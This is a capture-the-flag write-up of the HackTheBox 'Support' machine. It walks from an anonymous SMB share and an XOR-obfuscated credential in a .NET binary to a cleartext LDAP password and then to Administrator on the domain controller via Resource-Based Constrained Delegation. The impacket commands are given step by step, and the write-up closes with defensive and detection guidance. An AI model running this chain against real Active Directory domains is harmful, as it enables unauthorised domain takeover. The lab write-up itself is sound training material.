Support: From a .NET Binary to the DC
Solution chain for the HackTheBox Support box: a hidden binary on SMB, XOR credentials via monodis, a password in the LDAP info field, and Administrator on the DC via RBCD.
Support: From a .NET Binary to the DC
In front of me is a Windows Active Directory Domain Controller. Open ports are Kerberos, LDAP, SMB, WinRM. On SMB, a support-tools share I can pull down with anonymous access, containing a UserInfo.exe. The binary is .NET. Going down to IL code with monodis I see the key "armando" and 0xDF XOR, and out of it comes an LDAP password. Dumping LDAP reveals that a user's info field has a cleartext password written into it. I log in as the user over WinRM, follow the BloodHound arrows, and see the Shared Support Accounts group has GenericAll on DC$. The end is classic: Resource-Based Constrained Delegation to Administrator on the DC.
The commands and outputs are the original lab notes; IPs, accounts, and passwords belong to that environment. Since the machine image and ticket files are not present here, not every step of the chain should be treated as reproduced by a fresh run.
Discovery: There's a DC in Front of Me
$ nmap -sC -sV -oN nmap_initial.txt 10.129.2.5
53/tcp domain Simple DNS Plus
88/tcp kerberos-sec Microsoft Windows Kerberos
135/tcp msrpc Microsoft Windows RPC
389/tcp ldap Microsoft Active Directory LDAP (Domain: support.htb)
445/tcp microsoft-ds?
5985/tcp http Microsoft HTTPAPI (WinRM)Port 88 means Kerberos → almost always a Domain Controller. WinRM open → if I find a user identity, a remote shell via PowerShell.
A Suspicious Share on SMB
$ smbclient -L //10.129.2.5 -N
support-tools Disk support staff tools
$ smbclient //10.129.2.5/support-tools -N
smb: \> get UserInfo.exe.zipUserInfo.exe is a Mono/.NET binary:
$ file UserInfo/UserInfo.exe
UserInfo/UserInfo.exe: PE32 executable for MS Windows, Intel i386 Mono/.Net assemblyReversing the .NET Binary: monodis and the XOR Puzzle
$ monodis UserInfo.exe | less
// In the Protected class's static constructor:
ldstr "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E"
ldstr "armando"Pseudo-translation of the getPassword() method:
data = Convert.FromBase64String(enc_password);
for (int i = 0; i < data.Length; i++) {
V_1[i] = data[i] XOR key[i % key.Length] XOR 223;
}I solve it with Python:
>>> import base64
>>> data = base64.b64decode(enc)
>>> key = b'armando'
>>> pw = bytes([data[i] ^ key[i % len(key)] ^ 0xDF for i in range(len(data))])
>>> print(pw.decode())
nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz// lesson: Putting XOR where the word "encryption" should be in a binary is not security; it just gives the reader a coffee-break's worth of time. The fix: manage the credential with Vault/gMSA.
LDAP Dumping: the Surprise in the info Field
$ ldapsearch -x -H ldap://10.129.2.5 -D "support\\ldap" -w '...' -b "DC=support,DC=htb" "(objectClass=user)" sAMAccountName info
sAMAccountName: support
info: Ironside47pleasure40WatchfulA user's info field has a cleartext password written into it. In AD, info is readable by most users.
Inside via WinRM and user.txt
$ evil-winrm -i 10.129.2.5 -u support -p 'Ironside47pleasure40Watchful'
*Evil-WinRM* PS C:\Users\support\Documents> type ..\Desktop\user.txt
// USER FLAGBloodHound: Mapping the Privileges
$ bloodhound-python -u support -p '...' -d support.htb -ns 10.129.2.5 -c All --zip"Find Shortest Paths to Domain Admins" result:
SUPPORT → MemberOf → SHARED SUPPORT ACCOUNTS → GenericAll → DC$GenericAll on DC$ → escalation via Resource-Based Constrained Delegation.
What Is RBCD?
RBCD defines, in the target service account's msDS-AllowedToActOnBehalfOfOtherIdentity security descriptor, which principals may request a ticket on a user's behalf. Adding a controlled machine account's SID there requires write access on the target object. It also requires that service account's key, a suitable SPN, a working KDC/DNS, and compatible clocks. MachineAccountQuota=10 is the possible route to creating a new machine account; the value must be read in the domain rather than assumed. The Microsoft delegation guide explains that the decision is moved to the target resource owner.
Step-by-Step Attack
# 1. Fake machine account
$ python3 addcomputer.py -computer-name 'FAKE$' -computer-pass 'FakePass123!' \
-dc-host support.htb support.htb/support:'...'
# 2. Write the DC$ attribute
$ python3 rbcd.py -delegate-from 'FAKE$' -delegate-to 'DC$' -action write \
-dc-ip 10.129.2.5 support.htb/support:'...'
# 3. Get the Administrator ticket
$ python3 getST.py -spn 'cifs/dc.support.htb' -impersonate Administrator \
-dc-ip 10.129.2.5 'support.htb/FAKE$:FakePass123!'
# 4. Command via Pass-the-Ticket
$ export KRB5CCNAME=Administrator@cifs_dc.support.htb@SUPPORT.HTB.ccache
$ python3 wmiexec.py -k -no-pass -dc-ip 10.129.2.5 \
support.htb/Administrator@dc.support.htb 'type C:\Users\Administrator\Desktop\root.txt'
// ROOT FLAGAttack Chain
nmap → SMB anon → UserInfo.exe.zip → monodis XOR → LDAP password → LDAP dump → support password → WinRM → user.txt → BloodHound → GenericAll DC$ → RBCD (FAKE$) → S4U2Proxy → Administrator ticket → root.
Vulnerabilities Table
| # | Vulnerability | Impact | Class |
|---|---|---|---|
| 1 | SMB anonymous private share | Sensitive binary download | SMB Misconfiguration |
| 2 | Hardcoded LDAP credential in a .NET binary | Password recovered via XOR | Insecure Credential Storage |
| 3 | Cleartext password in the LDAP info field | Domain-wide visible password | Credential Management |
| 4 | Shared Support Accounts → GenericAll DC$ | DA-equivalent privilege | Excessive AD Privileges |
Defence Summary
- SMB anonymous access: close it wherever possible; private shares should never hold an encrypted binary with hardcoded credentials.
- Don't embed credentials in .NET binaries: IL code is readable by anyone, so take it out of the game. Provide the credential by way of a login (gMSA/Vault); XOR obfuscation is not a security layer.
- LDAP
infoattribute: if anyone is writing passwords, tokens, or temporary passwords there, clean it immediately; apply field masking under anonymous/limited access. - AD defaults: review
MachineAccountQuotaand set it to the minimum compatible with legitimate device-join workflows; grant delegation rights with least privilege instead ofGenericAll, and leavemsDS-AllowedToActOnBehalfOfOtherIdentityempty unless genuinely needed. Scan your own domain with BloodHound and periodically clean up excessive privilege chains.
// END OF REPORT Tags: HTB / AD / .NET RE / LDAP / RBCD / S4U2Proxy
Evidence and Failure Interpretation for Each Step
- Machine account: if
addcomputer.pysucceeded, record the account's SID and SPNs. The mere existence of the new account does not show that RBCD rights onDC$were obtained. - Target ACL: before the
rbcd.pywrite, preserve the existing security descriptor, then verify by reading that the new SID was added. In cleanup, clearing the whole attribute can delete legitimate delegations; roll back only the test change. - S4U2Self and S4U2Proxy: the controlled service gets a ticket representing the user to itself, then requests a ticket to the target service. The user's delegation constraints and KDC policy can change the outcome; "everyone including Administrator" is not a universal guarantee.
- Ticket scope: use the actual ccache file from the
getSToutput asKRB5CCNAME. The filename can differ by Impacket version. Inspect the client principal, SPN, and validity window withklist.
In the example the requested ticket is for cifs/dc.support.htb. Running a command via WMI afterwards may require additional RPC/HOST service tickets and privileges; the CIFS ticket alone does not guarantee wmiexec success. Use the target by the DNS name in the SPN rather than by IP. KRB_AP_ERR_SKEW can indicate a clock problem, and SPN errors can indicate a name/service mismatch; not every Kerberos error means "no permission".
Tying the Defence Control to the Chain
MachineAccountQuota=0 restricts an ordinary user from creating a new machine this way. If the attacker controls the key of an existing service/machine account, it does not close RBCD by itself. The real limit is the ACL and attribute-write authority on the target computer object; removing the GenericAll excess, revoking secrets, and auditing unexpected delegations are needed together.
With Directory Service Changes auditing and a suitable SACL, event 5136 can show an attribute change. Kerberos 4769 events provide context for service ticket requests; none of these is explicitly tagged "RBCD attack". Correlate the new machine account, the target attribute write, the requested SPN, and the source host timeline. Since legitimate service delegation uses the same mechanisms, a populated attribute alone is not proof of an attack.
In a harmless regression run, verify that a test user cannot change the target computer's delegation list; then check that an approved service's existing delegation still works. A defence test does not require establishing a root shell.
What do you think?
React to show your appreciation